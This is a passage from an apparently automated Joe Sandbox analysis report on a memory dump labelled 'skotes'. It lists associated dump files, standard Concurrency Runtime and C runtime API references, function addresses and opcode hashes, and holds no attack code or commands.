Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 91fc2c78b9c6b62c0bc3a12f8d9da9d95713c0d5042b39d0f0702e7b0e391bab
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 5601D632600514E7CF16EE548845BFF77A99F85750F100115FC16AB282DA79EE4097A0

Function 007A9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 007A9519

Part of subcall function 0079F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 007A5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 007A953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 007A9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 007A9559

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 72fa470b4b339bd6b422e76feea455837b562c6685b98e76c20cd77aa7fbaa56
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: EAF0A730A00A109EEA62AB588816FAB23959FC6711F00C61DE51BD71C2CE2CE852CB81

Function 007BF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 007BF3A3

Strings

`'~, xrefs: 007BF375
8"~, xrefs: 007BF44B

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"~$`'~
API String ID: 3903695350-10081231
Opcode ID: 0b34aadf12cbb0d247cf52cf520ac0e4caec4f3d63730e3699f0dac047d62a06
Instruction ID: 57ce17a0b5eb027aa8e997ea0ce86c989c2f93aa9d63570e0661dc64cbfde434
Opcode Fuzzy Hash: 0b34aadf12cbb0d247cf52cf520ac0e4caec4f3d63730e3699f0dac047d62a06
Instruction Fuzzy Hash: 58313931600646EFEB21AA39DC49BDBB3E8EF00752F14442AE459D7599DF79AC80CB21

Function 007BF1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007BF232
__freea.LIBCMT ref: 007BF298

Part of subcall function 007BB04B: RtlAllocateHeap.NTDLL(00000000,7D8541EC,?,?,0079D3FC,7D8541EC,?,00797A8B,?,?,?,?,?,?,00787465,?), ref: 007BB07E

Strings

Z{,m{, xrefs: 007BF1D2

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Z{,m{
API String ID: 809856575-3440029403
Opcode ID: b25d90f7e3b646c67d5a9ba1e0b386ed6197891c83133e9d670ea17b162505b5
Instruction ID: 8f18b5397f99e6c43dfd8ce15921ab0aa197b53bdb7831c9dfe5a1585f2f2220
Opcode Fuzzy Hash: b25d90f7e3b646c67d5a9ba1e0b386ed6197891c83133e9d670ea17b162505b5
Instruction Fuzzy Hash: 2C31907590021AABDB21AF65CC45FEF7BA9FF44B10F054128FD14AB151DB388D51C7A0

Function 007B1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 007B1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007B17AF

Strings

pContext, xrefs: 007B17A7

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: dcaa2457562bf01db6f6831ff4409fee1dc154835748ad1d048bd3b90cfe4de8
Instruction ID: 96416cec23dd72aab75566d15f7030c8a0df5205426696de57e144c0a9b0b94f
Opcode Fuzzy Hash: dcaa2457562bf01db6f6831ff4409fee1dc154835748ad1d048bd3b90cfe4de8
Instruction Fuzzy Hash: 6E11D635A01214DBCF15FF18D8A9BAD7765AF84360B954065E8129B341DF7CED01CBD0

Function 007A0C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 007A0CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 007A0D2A

Strings

p[~, xrefs: 007A0CCF

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
